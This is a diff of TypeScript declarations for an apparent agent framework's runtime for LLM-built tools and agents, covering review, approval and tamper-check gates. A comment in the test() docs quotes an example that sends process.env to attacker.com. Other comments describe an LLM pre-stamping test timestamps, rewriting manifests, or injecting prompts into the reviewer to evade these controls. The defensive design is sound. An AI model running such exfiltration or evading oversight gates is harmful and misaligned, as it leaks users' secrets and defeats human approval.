+ }
3020
+ /**
3021
+ * Agent-kind artifact body (the `content` of `ConstructionArtifact`
3022
+ * when `kind === 'agent'`).
3023
+ *
3024
+ * FEATURE_089 (v0.7.31): all fields except `instructions` are optional;
3025
+ * a minimal "echo agent" can be expressed as `{ instructions: '...' }`.
3026
+ * Tool / handoff / guardrail refs are resolved at admission time
3027
+ * (Runner.admit's 5-step audit expands them and feeds the resolved
3028
+ * Agent through the invariant chain).
3029
+ */
3030
+ interface AgentContent {
3031
+ readonly instructions: string;
3032
+ readonly tools?: readonly ToolRef[];
3033
+ readonly handoffs?: readonly AgentHandoffRef[];
3034
+ readonly reasoning?: AgentReasoningRef;
3035
+ readonly guardrails?: readonly GuardrailRef[];
3036
+ readonly model?: string;
3037
+ readonly provider?: string;
3038
+ /**
3039
+ * Optional structured-output schema mirroring `Agent.outputSchema`.
3040
+ * Pure pass-through to the runtime — admission does not validate
3041
+ * shape semantics here, only well-formed JSON.
3042
+ */
3043
+ readonly outputSchema?: Record<string, unknown>;
3044
+ /**
3045
+ * Optional sandbox test cases. When present, `sandbox_test_agent`
3046
+ * runs them; when absent, the test step performs only the static
3047
+ * checks (manifest schema + admission audit).
3048
+ */
3049
+ readonly testCases?: readonly AgentTestCase[];
3050
+ /**
3051
+ * Maximum total budget (iteration count) the agent may consume.
3052
+ * Plumbed onto the resolved `AgentManifest.maxBudget` and clamped by
3053
+ * `budgetCeiling` invariant during admission.
3054
+ */
3055
+ readonly maxBudget?: number;
3056
+ /**
3057
+ * Voluntary additional invariants the LLM declares this agent
3058
+ * commits to. Plumbed onto `AgentManifest.declaredInvariants`;
3059
+ * unioned on top of the required set during admission.
3060
+ */
3061
+ readonly declaredInvariants?: readonly string[];
3062
+ }
3063
+ /**
3064
+ * Persisted artifact shape (one JSON file per name/version under
3065
+ * `.kodax/constructed/<kind>s/<name>/<version>.json`).
3066
+ *
3067
+ * Discriminated union over `kind`:
3068
+ * - `kind: 'tool'` — v0.7.28 (FEATURE_088) tool generation
3069
+ * - `kind: 'agent'` — v0.7.31 (FEATURE_089) agent generation; passes
3070
+ * through `Runner.admit()` at activation time
3071
+ *
3072
+ * Lifecycle fields (status / timestamps / contentHash / sourceAgent /
3073
+ * signedBy) are common to all kinds.
3074
+ */
3075
+ type ConstructionArtifact = ToolArtifact | AgentArtifact;
3076
+ interface ConstructionArtifactBase {
3077
+ readonly name: string;
3078
+ readonly version: string;
3079
+ status: ArtifactStatus;
3080
+ readonly signedBy?: string;
3081
+ readonly createdAt: number;
3082
+ readonly sourceAgent?: string;
3083
+ testedAt?: number;
3084
+ activatedAt?: number;
3085
+ revokedAt?: number;
3086
+ /**
3087
+ * SHA-256 of `JSON.stringify(content)` captured at activate time.
3088
+ * `rehydrateActiveArtifacts()` recomputes and compares — a mismatch
3089
+ * indicates the manifest was edited between activation and the next
3090
+ * boot (naive cross-session tampering, e.g. an LLM rewriting the .json
3091
+ * via the Write tool without recomputing the hash). Mismatched
3092
+ * artifacts are skipped at rehydrate with a stderr warning. This is
3093
+ * NOT a defense against a coordinated attacker who recomputes the
3094
+ * hash; the threat model is single-user CLI integrity, not multi-user
3095
+ * supply chain.
3096
+ */
3097
+ contentHash?: string;
3098
+ }
3099
+ interface ToolArtifact extends ConstructionArtifactBase {
3100
+ readonly kind: 'tool';
3101
+ readonly content: ToolContent;
3102
+ }
3103
+ interface AgentArtifact extends ConstructionArtifactBase {
3104
+ readonly kind: 'agent';
3105
+ readonly content: AgentContent;
3106
+ }
3107
+ /**
3108
+ * Returned by {@link ConstructionRuntime.stage}; opaque handle that
3109
+ * downstream `test()` / `activate()` calls bind to.
3110
+ */
3111
+ interface StagedHandle {
3112
+ readonly artifact: ConstructionArtifact;
3113
+ readonly stagedAt: number;
3114
+ }
3115
+ /**
3116
+ * Outcome of {@link ConstructionRuntime.test}. `ok=false` blocks
3117
+ * activation; `warnings` surface but do not block.
3118
+ */
3119
+ interface TestResult {
3120
+ readonly ok: boolean;
3121
+ readonly errors?: readonly string[];
3122
+ readonly warnings?: readonly string[];
3123
+ }
3124
+ /**
3125
+ * Policy gate — invoked once per `activate()` before the artifact is
3126
+ * registered. Default rejects implicit auto-approval; the REPL surface
3127
+ * binds a dialog-based policy in `packages/repl/src/common/construction-
3128
+ * bootstrap.ts` so user approval flows through the live askUser channel.
3129
+ *
3130
+ * Modeled as a function type rather than an interface (D3 decision):
3131
+ * keeps the contract surface tiny, no class boilerplate.
3132
+ *
3133
+ * No declarative `kodax.config.ts` override hatch is provided — see the
3134
+ * "Deferred Design Decisions" section in `features/v0.7.28.md` for why
3135
+ * a `risk_mode` enum (when truly needed) is preferred over user-authored
3136
+ * policy functions.
3137
+ */
3138
+ type ConstructionPolicy = (artifact: ConstructionArtifact) => Promise<ConstructionPolicyVerdict>;
3139
+ type ConstructionPolicyVerdict = 'approve' | 'reject' | 'ask-user';
3140
+ /** Default policy: always ask the user; no implicit approvals. */
3141
+ declare const defaultPolicy: ConstructionPolicy;
3142
+ /**
3143
+ * Thrown by `CtxProxy` when handler attempts to access a tool not declared
3144
+ * in `capabilities.tools`. Caught in tracer; surfaces as a tool error.
3145
+ */
3146
+ declare class CapabilityDeniedError extends Error {
3147
+ readonly toolName: string;
3148
+ readonly declaredTools: readonly string[];
3149
+ constructor(toolName: string, declaredTools: readonly string[]);
3150
+ }
3151
+ /**
3152
+ * Thrown when a manifest cannot be parsed / is missing required fields.
3153
+ * Surfaces during stage() / startup glob; tracer records details.
3154
+ */
3155
+ declare class ConstructionManifestError extends Error {
3156
+ readonly path?: string;
3157
+ constructor(message: string, path?: string);
3158
+ }
3159
+
3160
+ /**
3161
+ * FEATURE_089 Phase 3.5 — Sandbox Agent Test Runner.
3162
+ *
3163
+ * Drives the manifest's `testCases` through `Runner.run` with an
3164
+ * isolated configuration, then grades the outputs against the per-case
3165
+ * expectations (expectMatch / expectNotMatch / expectFinalText). Used
3166
+ * by `testAgentArtifact` when a sandbox LLM callback is provided.
3167
+ *
3168
+ * Isolation approach:
3169
+ *
3170
+ * - Each case gets a fresh `Runner.run` call. No shared session or
3171
+ * transcript across cases.
3172
+ * - The agent's tools are NOT executed in the sandbox path — the
3173
+ * sandbox grades the agent's text output, not its tool invocation
3174
+ * pattern. (Tool sandboxing is its own concern; FEATURE_088
3175
+ * ConstructionRuntime already gates tool capability.)
3176
+ * - `tracer: null` is passed so sandbox runs don't pollute the
3177
+ * production trace graph.
3178
+ * - `budgetMs` provides a per-case wall-clock cap; default 30s
3179
+ * mirrors the `DEFAULT_HANDLER_TIMEOUT_MS` used for tool sandbox.
3180
+ *
3181
+ * The result aggregates per-case verdicts. Aggregate `ok` is true iff
3182
+ * every case passed; the `cases[]` array preserves order so callers
3183
+ * (TestResult renderer) can surface a granular failure summary.
3184
+ */
3185
+
3186
+ /**
3187
+ * LLM callback type accepted by the sandbox runner. Same shape as
3188
+ * `Runner.run`'s `opts.llm` so callers can either reuse their
3189
+ * production callback (with caching) or inject a deterministic mock.
3190
+ */
3191
+ type SandboxLlmCallback = (messages: readonly AgentMessage[], agent: Agent) => Promise<RunnerLlmReturn>;
3192
+
3193
+ /**
3194
+ * Provider-specific tool input_schema validation.
3195
+ *
3196
+ * Constructed tool input_schema is JSON Schema, but each LLM provider
3197
+ * accepts a different subset. KodaX builtin tool schemas were authored
3198
+ * by hand and stay within the Anthropic intersection; LLM-generated
3199
+ * constructed handler schemas need a runtime gate.
3200
+ *
3201
+ * v0.7.28 ships the `'anthropic'` validator (the main verification path).
3202
+ * Other providers fall through with a warning so the existing builtin
3203
+ * dispatch path continues to work — they just don't get schema-level
3204
+ * pre-flight checks for constructed tools.
3205
+ *
3206
+ * Reference: Anthropic public API docs and observed 4xx behavior.
3207
+ */
3208
+ type SchemaProvider = 'anthropic' | 'openai' | string;
3209
+ interface SchemaValidationResult {
3210
+ readonly ok: boolean;
3211
+ readonly errors: readonly string[];
3212
+ readonly warnings: readonly string[];
3213
+ }
3214
+ declare function validateToolSchemaForProvider(inputSchema: unknown, provider?: SchemaProvider): SchemaValidationResult;
3215
+
3216
+ /**
3217
+ * LLM-driven static review for constructed tool handlers (DD §14.5.1).
3218
+ *
3219
+ * Two-tier static check sequence:
3220
+ * 1. AST hard rules (ast-rules.ts) — cheap, deterministic, AST-precise.
3221
+ * 2. LLM review (this module) — covers semantic-level patterns that
3222
+ * AST rules cannot reasonably express (string concatenation
3223
+ * obfuscation, indirect references, capabilities/code mismatch).
3224
+ *
3225
+ * The LLM reviewer is dependency-injected via `LlmReviewClient`, so:
3226
+ * - Production wires a real KodaXClient call (Anthropic main path).
3227
+ * - Mocked-LLM tests inject a fake reviewer for verdict-dispatch
3228
+ * coverage (`.test.ts`, zero API cost).
3229
+ * - Real-LLM accuracy tests (`.eval.ts`, gated by API key) inject a
3230
+ * live client to measure precision/recall on a curated handler set.
3231
+ *
3232
+ * Verdict dispatch (handled by ConstructionRuntime.testArtifact):
3233
+ * - 'safe' → proceed to stage / activate.
3234
+ * - 'suspicious' → policy gate (caller decides; default ask-user).
3235
+ * - 'dangerous' → reject outright; do not enter policy gate.
3236
+ */
3237
+
3238
+ type LlmReviewVerdict = 'safe' | 'suspicious' | 'dangerous';
3239
+ interface LlmReviewResult {
3240
+ readonly verdict: LlmReviewVerdict;
3241
+ readonly concerns: readonly string[];
3242
+ readonly suggestedCapabilities: readonly string[];
3243
+ /** Echoed for debugging; raw text from the LLM before parse. */
3244
+ readonly raw?: string;
3245
+ }
3246
+ /**
3247
+ * Caller-injected LLM client. Receives a fully-formed prompt; returns
3248
+ * the LLM's raw response text (must include a JSON object that
3249
+ * {@link parseLlmReviewVerdict} can extract).
3250
+ *
3251
+ * Kept at this minimal shape so wiring to KodaXClient (Anthropic main
3252
+ * path), to a mock, or to a real `.eval.ts` harness all stay trivial.
3253
+ */
3254
+ type LlmReviewClient = (prompt: string) => Promise<string>;
3255
+ interface BuildPromptInput {
3256
+ readonly handlerCode: string;
3257
+ readonly capabilities: Capabilities;
3258
+ /** Optional: name@version for prompt context. */
3259
+ readonly artifactRef?: string;
3260
+ }
3261
+ /**
3262
+ * Build the review prompt. Mirrors the structure described in
3263
+ * v0.7.28.md FEATURE_088 §安全考虑 — the LLM is told it IS KodaX
3264
+ * reviewing another KodaX agent's output (commit 74d4aaa self-identity
3265
+ * propagation), with explicit capability whitelist and pattern list.
3266
+ */
3267
+ declare function buildLlmReviewPrompt(input: BuildPromptInput): string;
3268
+ /**
3269
+ * Parse a verdict JSON object out of the LLM's raw response. Tolerant
3270
+ * of surrounding prose / code fences (some models add them despite
3271
+ * instructions).
3272
+ *
3273
+ * Throws when no parseable verdict can be extracted — caller should
3274
+ * surface that as a `dangerous` outcome (defense in depth: a reviewer
3275
+ * that fails to produce a verdict cannot be trusted to clear).
3276
+ */
3277
+ declare function parseLlmReviewVerdict(raw: string): LlmReviewResult;
3278
+ /**
3279
+ * Convenience: build prompt → call client → parse verdict.
3280
+ * Errors from the client / parser bubble up unchanged.
3281
+ */
3282
+ declare function runLlmReview(input: BuildPromptInput, client: LlmReviewClient): Promise<LlmReviewResult>;
3283
+
3284
+ /**
3285
+ * FEATURE_090 (v0.7.32) — LLM-assisted diff summary for self-modify
3286
+ * activation. Replaces the divergence-score idea from the original
3287
+ * spec: instead of mechanical thresholds (Levenshtein/Jaccard/etc.)
3288
+ * with arbitrary numbers, we ask an LLM to read the prev/next pair
3289
+ * and produce a structured summary the user reviews via ask-user.
3290
+ *
3291
+ * Why LLM-as-summariser instead of LLM-as-judge:
3292
+ * The LLM only describes what changed. The user (not the LLM)
3293
+ * makes the activate / reject call. The summary is *advice* layered
3294
+ * on top of the raw diff — the ask-user surface always shows the
3295
+ * prev/next manifests verbatim, so a malicious or hallucinating
3296
+ * summariser cannot trick the user into approving something they
3297
+ * couldn't see.
3298
+ *
3299
+ * Defenses against prompt injection through the manifest itself:
3300
+ * - Structured JSON output with strict shape; non-conforming
3301
+ * responses degrade to a fixed-text fallback (`severity: 'major'`,
3302
+ * `summary: 'LLM summary unavailable …'`). The user still sees
3303
+ * the raw diff.
3304
+ * - System prompt frames the LLM as KodaX reviewing a manifest;
3305
+ * mirrors the existing `runLlmReview` (FEATURE_089) framing.
3306
+ * - The reviewer LLM and the modifying agent's LLM are
3307
+ * dependency-injected separately — callers may use a stronger
3308
+ * model for review than for execution.
3309
+ *
3310
+ * Reuses the `LlmReviewClient` type from FEATURE_089 verbatim — same
3311
+ * shape (prompt → raw text), so REPL wiring can use a single
3312
+ * KodaXClient binding for both `test_agent` static review and this
3313
+ * self-modify summary.
3314
+ */
3315
+
3316
+ /**
3317
+ * Severity tag the LLM applies to its own summary. Drives the tone
3318
+ * of the ask-user UI (a `major` change pre-selects "reject", a
3319
+ * `minor` change pre-selects "approve" — but the user still has to
3320
+ * confirm). Tied to the audit log `severity` field.
3321
+ */
3322
+ type SelfModifyDiffSeverity = 'minor' | 'moderate' | 'major';
3323
+ /**
3324
+ * Structured output emitted by `runSelfModifyDiffSummary`. The shape
3325
+ * is the contract the LLM must satisfy; deviations fall back to the
3326
+ * fixed-text "unavailable" record.
3327
+ */
3328
+ interface SelfModifyDiffSummary {
3329
+ readonly summary: string;
3330
+ readonly severity: SelfModifyDiffSeverity;
3331
+ readonly flaggedConcerns: readonly string[];
3332
+ /** Echoed for debugging; raw text from the LLM before parse. */
3333
+ readonly raw?: string;
3334
+ }
3335
+
3336
+ /**
3337
+ * ConstructionRuntime — stage / test / activate / revoke / list lifecycle
3338
+ * for runtime-generated capabilities (FEATURE_087, v0.7.28).
3339
+ *
3340
+ * Module-level singleton: KodaX runs one runtime per process. Tests
3341
+ * reset via `_resetRuntimeForTesting()`. Configuration is overridden
3342
+ * through `configureRuntime({ cwd, policy })`.
3343
+ *
3344
+ * No class boilerplate (KodaX philosophy — small focused functions). The
3345
+ * "instance state" is just two module-private variables: `_options` and
3346
+ * `_activated`. Persistence is the file system itself; no in-memory
3347
+ * artifact cache outside what TOOL_REGISTRY already holds via the
3348
+ * unregister-callback map.
3349
+ *
3350
+ * v0.7.28 Phase 1 scope:
3351
+ * - Lifecycle plumbing only.
3352
+ * - `test()` is intentionally minimal — Guardrail static check + LLM
3353
+ * review + provider schema validator land in Phase 2.
3354
+ * - Policy gate honors a `'reject'` verdict but throws on `'ask-user'`
3355
+ * because Phase 1 has no built-in user-prompt UI; callers (REPL,
3356
+ * test code) must override `constructionPolicy` to wire one.
3357
+ */
3358
+
3359
+ /**
3360
+ * Input passed to a `SelfModifyAskUser` callback when the activate
3361
+ * path detects a self-modify. Carries everything the surface needs
3362
+ * to render an informed approve/reject prompt: prev + proposed
3363
+ * manifests for raw diff, the LLM summary, and the budget snapshot.
3364
+ *
3365
+ * Kept separate from FEATURE_088's `ConstructionPolicy` shape so the
3366
+ * existing first-time-staging policy flow stays unchanged. The two
3367
+ * gates are mutually exclusive — self-modify never reaches
3368
+ * `_options.policy`.
3369
+ */
3370
+ interface SelfModifyAskUserInput {
3371
+ readonly agentName: string;
3372
+ readonly fromVersion: string;
3373
+ readonly toVersion: string;
3374
+ readonly prevContent: AgentContent;
3375
+ readonly nextContent: AgentContent;
3376
+ readonly llmSummary: SelfModifyDiffSummary;
3377
+ readonly budgetRemaining: number;
3378
+ readonly budgetLimit: number;
3379
+ }
3380
+ /**
3381
+ * Force-ask-user gate for self-modify activations. Returns the user's
3382
+ * verdict; never `'ask-user'` because by reaching this callback we
3383
+ * already know we need to ask the user. REPL surfaces wire a
3384
+ * dialog-based callback at startup; non-REPL surfaces leave this
3385
+ * undefined and self-modify activations hard-fail with a clear
3386
+ * configuration error.
3387
+ */
3388
+ type SelfModifyAskUser = (input: SelfModifyAskUserInput) => Promise<'approve' | 'reject'>;
3389
+ interface RuntimeOptions {
3390
+ /** Workspace root for `.kodax/constructed/`. Defaults to `process.cwd()`. */
3391
+ readonly cwd: string;
3392
+ /** Activation policy gate. Defaults to `defaultPolicy` (ask-user). */
3393
+ readonly policy: ConstructionPolicy;
3394
+ /**
3395
+ * FEATURE_090 — optional LLM client used for self-modify diff
3396
+ * summaries. When undefined, `runSelfModifyDiffSummary` falls back
3397
+ * to the unavailable-summary record (severity='major', user still
3398
+ * sees the raw diff). REPL bootstrap binds the same KodaXClient as
3399
+ * `test_agent`'s LLM reviewer.
3400
+ */
3401
+ readonly llmReviewer?: LlmReviewClient;
3402
+ /**
3403
+ * FEATURE_090 — force-ask-user callback for self-modify activations.
3404
+ * Required from any surface that wants self-modify to succeed; if
3405
+ * undefined, self-modify activations are rejected (matches the
3406
+ * non-interactive default for the regular policy gate).
3407
+ */
3408
+ readonly selfModifyAskUser?: SelfModifyAskUser;
3409
+ }
3410
+ declare function configureRuntime(overrides: Partial<RuntimeOptions>): void;
3411
+ /** Test-only — clears in-memory state. Does not touch the filesystem. */
3412
+ declare function _resetRuntimeForTesting(): void;
3413
+ /**
3414
+ * Persist a freshly-built artifact to `.kodax/constructed/<kind>s/<name>/<version>.json`
3415
+ * with `status: 'staged'`.
3416
+ *
3417
+ * Version immutability: if any manifest at the same name+version already
3418
+ * exists on disk (in any status — staged, active, or revoked), stage()
3419
+ * refuses to overwrite. Bumping the semver is the supported update path.
3420
+ *
3421
+ * Why "any status", not just `'active'`:
3422
+ * The handler's `.js` module is loaded via `await import(file://…)`
3423
+ * which the ESM module cache keys by absolute file URL. Re-writing
3424
+ * `<version>.js` in place leaves the cached module pointing at the
3425
+ * OLD code; subsequent loadHandler() calls return the cached export.
3426
+ * Even revoking first does not flush the cache (Node has no public
3427
+ * ESM cache eviction API). The only safe-by-construction policy is
3428
+ * "version is immutable on disk — bump semver to update."
3429
+ *
3430
+ * Lifecycle timestamp reset: `testedAt` / `activatedAt` / `revokedAt`
3431
+ * are explicitly cleared on the persisted record, even if the input
3432
+ * artifact carries them. Defends against an LLM-supplied artifact
3433
+ * pre-stamping testedAt to bypass the activate() gate.
3434
+ */
3435
+ declare function stage(artifact: ConstructionArtifact): Promise<StagedHandle>;
3436
+ /**
3437
+ * Validate a staged artifact. Runs the static-only check pipeline:
3438
+ *
3439
+ * 1. Shape sanity (kind, handler.language, capabilities.tools array).
3440
+ * 2. AST hard rules (no-eval / no-Function-constructor / require-handler-signature).
3441
+ * 3. provider schema validation (Anthropic by default — main path).
3442
+ * 4. LLM static review (only when caller injects `options.llmReviewer`).
3443
+ *
3444
+ * Verdict dispatch on LLM review:
3445
+ * - 'safe' → ok=true, no LLM-review warnings.
3446
+ * - 'suspicious' → ok=true, concerns surfaced as warnings; downstream
3447
+ * `activate()` will run the policy gate (default
3448
+ * ask-user) which can show those concerns to the user.
3449
+ * - 'dangerous' → ok=false, errors carry the LLM concerns; activate
3450
+ * will not be reachable without a fresh stage().
3451
+ *
3452
+ * IMPORTANT — handler is NOT materialized here. The earlier "materialize
3453
+ * handler to surface syntax errors" step performed `await import(file://…)`
3454
+ * BEFORE the policy gate, which executed the handler module's top-level
3455
+ * code as a side effect. AST rules cover `eval` / `Function`, but a
3456
+ * top-level `await fetch('http://attacker.com', { body: process.env })`
3457
+ * was unguarded — see DD §14.5 threat model. loadHandler() now happens
3458
+ * exclusively inside `activate()` after the policy verdict is `'approve'`,
3459
+ * making the policy gate the single chokepoint for code execution.
3460
+ *
3461
+ * The LLM reviewer is opt-in: tests and Phase 1 callers that don't pass
3462
+ * a client get the deterministic AST + schema path only.
3463
+ */
3464
+ interface TestArtifactOptions {
3465
+ /** Provider whose tool schema constraints are checked. Defaults to 'anthropic'. */
3466
+ readonly provider?: SchemaProvider;
3467
+ /** Inject a real or mock LLM client to run static review. Optional. */
3468
+ readonly llmReviewer?: LlmReviewClient;
3469
+ /**
3470
+ * FEATURE_089 Phase 3.5 — sandbox test runner LLM callback. When
3471
+ * supplied AND the artifact is `kind: 'agent'` AND `content.testCases`
3472
+ * is non-empty, `testAgentArtifact` runs each test case through
3473
+ * `Runner.run` with this callback and folds the results into
3474
+ * `TestResult.errors` / `TestResult.warnings`. When omitted, agent
3475
+ * test pipeline runs only the manifest shape + admission audit
3476
+ * — cases are skipped silently (caller's choice not to sandbox).
3477
+ */
3478
+ readonly sandboxLlm?: SandboxLlmCallback;
3479
+ /**
3480
+ * Per-case wall-clock budget for sandbox cases. Forwarded to
3481
+ * `runSandboxAgentTest`. Defaults to 30s when undefined.
3482
+ */
3483
+ readonly sandboxBudgetMs?: number;
3484
+ }
3485
+ declare function test(handle: StagedHandle, options?: TestArtifactOptions): Promise<TestResult>;
3486
+ /**
3487
+ * Activate a staged-and-tested artifact: invoke policy gate, materialize
3488
+ * the handler, register into TOOL_REGISTRY, persist `status='active'`.
3489
+ *
3490
+ * Throws `'reject'` policy verdicts as errors. `'ask-user'` requires the
3491
+ * caller to have overridden the policy (Phase 1 has no built-in prompt UI).
3492
+ *
3493
+ * Pre-conditions:
3494
+ * - artifact.testedAt must be set (test() must have run successfully).
3495
+ * Without this gate the AST/schema/LLM-review chain could be skipped
3496
+ * entirely by an LLM that calls activate_tool directly after stage_tool.
3497
+ * - artifact.status must not be 'revoked' (terminal).
3498
+ *
3499
+ * Side-effects:
3500
+ * - loadHandler() runs `await import(file://…)` AFTER policy approval.
3501
+ * The handler module's top-level code only executes once policy says
3502
+ * 'approve'. This makes the policy gate the single chokepoint for
3503
+ * code execution; the handler does not run during test().
3504
+ * - Records `contentHash = sha256(JSON.stringify(content))` so
3505
+ * rehydrate at the next boot can detect cross-session manifest
3506
+ * tampering (see ConstructionArtifact.contentHash for threat model).
3507
+ */
3508
+ declare function activate(handle: StagedHandle): Promise<void>;
3509
+ /**
3510
+ * Rehydrate every artifact whose `status === 'active'` back into
3511
+ * TOOL_REGISTRY. Called once at process startup (REPL boot). Does NOT
3512
+ * re-run policy gate — startup is restoring previously-approved state,
3513
+ * not asking for fresh approval.
3514
+ *
3515
+ * Integrity check: each artifact's `contentHash` (recorded at activate
3516
+ * time) is recomputed and compared to the persisted value. Mismatches
3517
+ * are tampered = skipped with a stderr warning. This catches naive
3518
+ * cross-session edits to the manifest JSON (e.g. an LLM rewriting the
3519
+ * file via the Write tool without recomputing the hash). Sophisticated
3520
+ * attackers who recompute the hash can bypass this — defense scoped to
3521
+ * single-user CLI integrity, not multi-tenant supply chain.
3522
+ *
3523
+ * Legacy artifacts written before contentHash existed are accepted as-is
3524
+ * (no hash to compare against) and the missing hash is back-filled on a
3525
+ * future activate() — keeps upgrades from breaking previously-approved
3526
+ * tools.
3527
+ *
3528
+ * Returns counts so callers can surface a loaded/failed/tampered banner.
3529
+ * Failures are logged (console.warn) and rehydration continues for the
3530
+ * remaining artifacts; a single bad manifest must not break boot.
3531
+ */
3532
+ declare function rehydrateActiveArtifacts(): Promise<{
3533
+ loaded: number;
3534
+ failed: number;
3535
+ tampered: number;
3536
+ }>;
3537
+ /**
3538
+ * Revoke an active constructed tool. Removes the registration from
3539
+ * TOOL_REGISTRY (the stack falls back to any prior version or builtin)
3540
+ * and flips `status` to `'revoked'` on disk. The .js source remains for
3541
+ * audit; the artifact JSON remains for history.
3542
+ *
3543
+ * Idempotent: revoking an unknown name@version is a no-op.
3544
+ */
3545
+ declare function revoke(name: string, version: string): Promise<void>;
3546
+ /**
3547
+ * List all artifacts on disk, optionally filtered by kind.
3548
+ * Returns artifacts of any status (staged / active / revoked); callers
3549
+ * that only want active should pipe through `.filter(a => a.status === 'active')`.
3550
+ */
3551
+ declare function list(kind?: ConstructionArtifact['kind']): Promise<ConstructionArtifact[]>;
3552
+ /**
3553
+ * Public lookup: read a persisted artifact by name+version. Iterates every
3554
+ * supported kind. Returns `undefined` if not found.
3555
+ *
3556
+ * Used by the `test_tool` / `activate_tool` builtins to round-trip from a
3557
+ * caller-supplied identifier back to the on-disk manifest, since the
3558
+ * runtime keeps no in-memory artifact cache.
3559
+ */
3560
+ declare function readArtifact(name: string, version: string): Promise<ConstructionArtifact | undefined>;
3561
+
3562
+ /**
3563
+ * View-layer queries over TOOL_REGISTRY for constructed tools.
3564
+ *
3565
+ * These are pure read helpers — they do NOT re-implement lookup logic;
3566
+ * they enumerate / filter the existing registry stack. Lookup itself
3567
+ * remains owned by `getActiveToolRegistration()` in registry.ts (D2
3568
+ * decision — no Resolver class).
3569
+ */
3570
+
3571
+ /**
3572
+ * All registrations whose source.kind === 'constructed', across every
3573
+ * name in the registry. Order: registry insertion order per name; names
3574
+ * in `listTools()` order.
3575
+ */
3576
+ declare function listConstructed(): RegisteredToolDefinition[];
3577
+ /**
3578
+ * Locate a specific constructed registration by name + semver. Returns
3579
+ * undefined if no match exists. Useful for `revoke()` callers and CLI
3580
+ * `inspect` commands.
3581
+ */
3582
+ declare function findByVersion(name: string, version: string): RegisteredToolDefinition | undefined;
3583
+ /**
3584
+ * Every registration in the stack across every name (builtin + extension
3585
+ * + constructed). Caller filters as needed.
3586
+ */
3587
+ declare function listAll(): RegisteredToolDefinition[];
3588
+
3589
+ /**
3590
+ * FEATURE_089 (v0.7.31) Phase 3.4 — Constructed Agent Resolver.
3591
+ *
3592
+ * Module-singleton registry mapping `name` → runnable `Agent` for
3593
+ * agents that have passed admission and been activated through
3594
+ * `ConstructionRuntime.activate()`. Mirrors the way TOOL_REGISTRY
3595
+ * holds activated constructed tools, but for agents.
3596
+ *
3597
+ * Why a separate registry (not in TOOL_REGISTRY):
3598
+ *
3599
+ * - Tools and Agents are different runtime types. A `KodaXToolDefinition`
3600
+ * has `input_schema` + `handler`; an `Agent` has `instructions` +
3601
+ * `tools` + `handoffs` + `reasoning`. Conflating them would force
3602
+ * consumers to discriminate on every lookup.
3603
+ * - Resolution semantics differ: a tool lookup returns the executable
3604
+ * handler; an agent lookup returns the declarative spec (Runner.run
3605
+ * drives the loop separately).
3606
+ *
3607
+ * Resolution surface:
3608
+ *
3609
+ * - `resolveConstructedAgent(name)` — name → Agent | undefined
3610
+ * - `listConstructedAgents()` — snapshot of activated agents
3611
+ * - `registerConstructedAgent(artifact)` → unregister fn (called by
3612
+ * runtime on activate, captured in the runtime's `_activated` map)
3613
+ * - `_resetAgentResolverForTesting()` — test isolation
3614
+ *
3615
+ * Tool / handoff ref resolution:
3616
+ * - Tool refs are resolved against TOOL_REGISTRY at activation time —
3617
+ * a snapshot. If a referenced tool is later revoked, the agent
3618
+ * keeps its stale ref; Phase 3.5 sandbox testing catches this.
3619
+ * - Handoff target refs lift to stub Agent objects (`name` only) when
3620
+ * the target hasn't been activated yet. Transitive admission ran
3621
+ * at test time so the graph is known to be acyclic; runtime
3622
+ * traversal just walks the names.
3623
+ *
3624
+ * Non-goal: full referential consistency between tools / agents /
3625
+ * handoffs. The threat model is single-user CLI integrity (DD §14.5);
3626
+ * stale refs are an LLM-authoring footgun, not a security bypass.
3627
+ */
3628
+
3629
+ /**
3630
+ * Look up an activated constructed agent by name. Returns the
3631
+ * resolved `Agent` (with tools / handoffs lifted from refs). Returns
3632
+ * `undefined` when no agent at that name has been activated.
3633
+ */
3634
+ declare function resolveConstructedAgent(name: string): Agent | undefined;
3635
+ /**
3636
+ * FEATURE_090 — `true` iff a self-modify activation has been staged
3637
+ * for `name` but has not yet been drained into the active registry.
3638
+ * Surfaces for tooling that wants to display "next run will use
3639
+ * version X" hints, and as a sanity-check assertion in tests.
3640
+ */
3641
+ declare function hasPendingSwap(name: string): boolean;
3642
+ /**
3643
+ * FEATURE_090 — promote every pending self-modify entry into
3644
+ * `AGENT_REGISTRY`, replacing the prior active version. Returns the
3645
+ * names that were drained so the caller can surface a hint
3646
+ * ("alpha is now running version 1.1.0").
3647
+ *
3648
+ * Idempotent: calling on an empty pending map is a no-op. Atomic at
3649
+ * the JS event-loop level (a single synchronous pass); drain cannot
3650
+ * partially complete.
3651
+ *
3652
+ * Integration contract: the REPL surface calls this immediately after
3653
+ * any top-level `Runner.run` returns. KodaX is single-process and
3654
+ * single-user, so "the run that triggered the change" and "all
3655
+ * in-flight runs" are the same set — no concurrent-run coordination
3656
+ * needed.
3657
+ */
3658
+ declare function drainPendingSwaps(): readonly string[];
3659
+
3660
+ /**
3661
+ * CtxProxy — runtime gate for constructed tool handlers.
3662
+ *
3663
+ * Constructed handlers run in the host process (no JS-level sandbox; see
3664
+ * DD §14.5 for why we deliberately avoid worker_threads / isolated-vm).
3665
+ * Safety derives from a four-layer model — Guardrail static check,
3666
+ * `capabilities.tools` whitelist declaration, this CtxProxy at runtime,
3667
+ * and policy gate on activate.
3668
+ *
3669
+ * Behavior (v0.7.28, single-dim capabilities) — see DD §14.5.3:
3670
+ * - `ctx.tools.<name>(...)` — capability check first, then dispatch
3671
+ * through `executeTool()` so the call traverses the SAME registry
3672
+ * pipeline as a builtin tool invocation. This "completes the chain":
3673
+ * the constructed handler reuses every safety policy that already
3674
+ * ships with builtins (e.g. bash OS sandbox, write path policy,
3675
+ * truncation, error mapping).
3676
+ * - Plan-mode predicate (`hostCtx.planModeBlockCheck`) is consulted
3677
+ * before every dispatch so a constructed handler cannot reach a
3678
+ * write tool that the parent plan-mode would have blocked. The
3679
+ * predicate closes over live parent state, so toggles propagate
3680
+ * mid-call.
3681
+ * - Constructed→constructed call chains are bounded by
3682
+ * {@link MAX_CONSTRUCTED_DEPTH}. Builtin callees are not counted.
3683
+ * Exceeding the limit returns a tool error rather than throwing —
3684
+ * keeps the parent agent loop alive and reportable.
3685
+ * - Direct `ctx.tools` enumeration / introspection is gated; the
3686
+ * proxied `tools` object only exposes whitelisted names.
3687
+ * - All other `ctx.<x>` properties (executionCwd, abortSignal, etc.)
3688
+ * pass through unchanged — they are framework infra, not tool calls.
3689
+ *
3690
+ * Anti-tampering:
3691
+ * - Returned proxy is `Object.freeze`d at the top level so handlers
3692
+ * cannot reassign `ctx.tools`.
3693
